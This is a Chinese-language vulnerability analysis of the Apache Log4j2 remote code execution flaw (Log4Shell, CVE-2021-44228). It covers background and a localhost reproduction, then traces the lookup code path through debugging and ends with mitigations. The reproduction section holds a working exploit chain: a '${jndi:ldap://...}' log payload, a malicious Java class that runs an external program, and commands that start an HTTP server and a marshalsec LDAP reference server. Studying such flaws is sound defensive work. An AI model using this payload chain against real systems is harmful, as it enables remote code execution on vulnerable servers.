CVE-2021-44228(Apache Log4j2 远程代码执行漏洞)分析

Table of Contents

Apache Log4j2 是一个被广泛使用的开源日志记录库,2017 年 7 月时,有人向 Log4j2 提了支持 JNDI Lookup 的需求,并从 2.0-beta9 之后开始支持;今年阿里的安全研究人员发现该特性会导致远程代码执行,于 2021 年 11 月 24 日向 Apache 报告了该漏洞;12 月 5 日官方发布了补丁;到了 12 月 9 日晚,PoC 的传播范围开始变得不可控,基本上各大厂商都受影响,影响范围很广,于是人们给它起了个名字——Log4Shell。

漏洞信息如下:

严重等级 Critical
影响版本 Apache Log4j2 2.0 ~ 2.14.1
漏洞利用难度
Exp 公开程度 广泛传播

这个漏洞的问题在于 Log4j2 算是一个基础组件,不管商用还是开源的程序中或多或少有被引用,因此难以被一次性全部修复完,甚至会在许多系统中长期存在。好在通过一定的配置或升级 JDK 可以缓解该漏洞造成的安全影响。

1. 漏洞复现

复现环境:

软件 版本
操作系统 Fedora 35
JDK 11.0.12
Apache Log4j2 2.14.0

下载 Apache Log4j2 2.14.0:https://archive.apache.org/dist/logging/log4j/2.14.0/apache-log4j-2.14.0-bin.tar.gz

用你顺手的 IDE 新建一个 Java 工程,拷贝 apache-log4j-2.14.0-bin 目录下的 log4j-api-2.14.0.jar、log4j-core-2.14.0.jar 两个文件到工程目录中,配置好依赖库。

接下来新建 VulTest.java,PoC 代码如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class VulTest {
    public static void main(String[] args) {
        // 高版本的 Java 有保护机制,需要设置允许远程 URL
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        Logger log = LogManager.getLogger("test");
        System.out.println("test CVE-2021-44228");
        log.error("${jndi:ldap://localhost:1389/Exp}");
    }
}

找个目录新建 Exp.java,定义一个恶意类:

public class Exp {
    public Exp() {
        try {
            String[] commands = {"/usr/bin/leafpad"}; // 自行更换成要执行的外部程序
            Process p = Runtime.getRuntime().exec(commands);
            p.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行恶意类服务:

$ javac Exp.java
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

再用 marshalsec 启动恶意的 LDAP 服务:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://localhost:8000/#Exp'

最后运行 VulTest 触发漏洞即可。

2. 原理分析

以下分析内容都是在调试过程中所记录,没有用到 Apache Log4j2 的源码,因此都是基于 class 文件的信息做的分析。

单步调试 Poc 几轮后,我找到了触发漏洞有关的代码,在 /org/apache/logging/log4j/core/pattern/MessagePatternConverter.class:

if (this.config != null && !this.noLookups) {
    for(int i = offset; i < workingBuilder.length() - 1; ++i) {
        if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
            String value = workingBuilder.substring(offset, workingBuilder.length());
            workingBuilder.setLength(offset);
            workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
        }
    }
}

以上表示,如果启用了 lookup(this.noLookups 为真),并在日志消息中发现“${”的组合,就调用 this.config.getStrSubstitutor() 来获得 StrSubstitutor 类的实例;然后调用 StrSubstitutor 类的 replace 方法做字符串替换。

因此 StrSubstitutor 是触发漏洞的关键,这个类位于 /org/apache/logging/log4j/core/lookup/StrSubstitutor.class。

调试到 replace 方法时,发现调用了 substitute 方法:

public String replace(final LogEvent event, final String source) {
    // source 值: ${jndi:ldap://localhost:1389/Exp}

    if (source == null) {
        return null;
    } else {
        StringBuilder buf = new StringBuilder(source);
        // 会在这里调用 substitute
        return !this.substitute(event, buf, 0, source.length()) ? source : buf.toString();
    }
}

跟进 substitute,发现调用 resolveVariable 后触发漏洞:

// varName 值:jndi:ldap://localhost:1389/Exp
String varValue = this.resolveVariable(event, varName, buf, startPos, pos);

在这里打一个断点后重新调试,被中断后跟进 resolveVariable,实际上它是去调用 resolver.lookup:

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, final int startPos, final int endPos) {
    StrLookup resolver = this.getVariableResolver();
    return resolver == null ? null : resolver.lookup(event, variableName);
}

而 resolver.lookup 是 /org/apache/logging/log4j/core/lookup/Interpolator.class 这个代理类分发的实例,lookup 最后代理了 StrLookup 类,如下:

public String lookup(final LogEvent event, String var) {
    // ...省略...
    StrLookup lookup = (StrLookup)this.strLookupMap.get(prefix);
    // ...省略...
    String value = null;
    if (lookup != null) {
        value = event == null ? lookup.lookup(name) : lookup.lookup(event, name); // 这里打一个中断后跟进
    }
    // ...省略...
}

继续跟进,来到 /org/apache/logging/log4j/core/lookup/JndiLookup.class:

public String lookup(final LogEvent event, final String key) {
    // key 值:ldap://localhost:1389/Exp

    if (key == null) {
        return null;
    } else {
        String jndiName = this.convertJndiName(key);
        // jndiName 值:ldap://localhost:1389/Exp
        //...省略...
        try {
            JndiManager jndiManager = JndiManager.getDefaultManager();
            Throwable var5 = null;

            String var6;
            try {
                // 实现 JNDI 查询操作
                var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);
            } catch (Throwable var16) {
                var5 = var16;
                throw var16;
            }
            //...省略...
        }
        //...省略...
    }
}

最终调用 jndiManager.lookup 实现了 JNDI 的查询操作。

3. 缓解措施

1、如果受影响的项目自主可控,建议直接更新依赖的 Log4j2 至大于受影响的版本;

2、使用 JDK 11+;老版本 JDK 更新到 8u191(JDK 1.8)、7u201(JDK 1.7)或 6u211(JDK 1.6)。这些版本的 Java 都有一定程度的保护机制来避免加载远程类,即便测试过程中发现 dnslog.cn 等平台能收到解析记录,也不能说明漏洞能够被利用。

4. 参考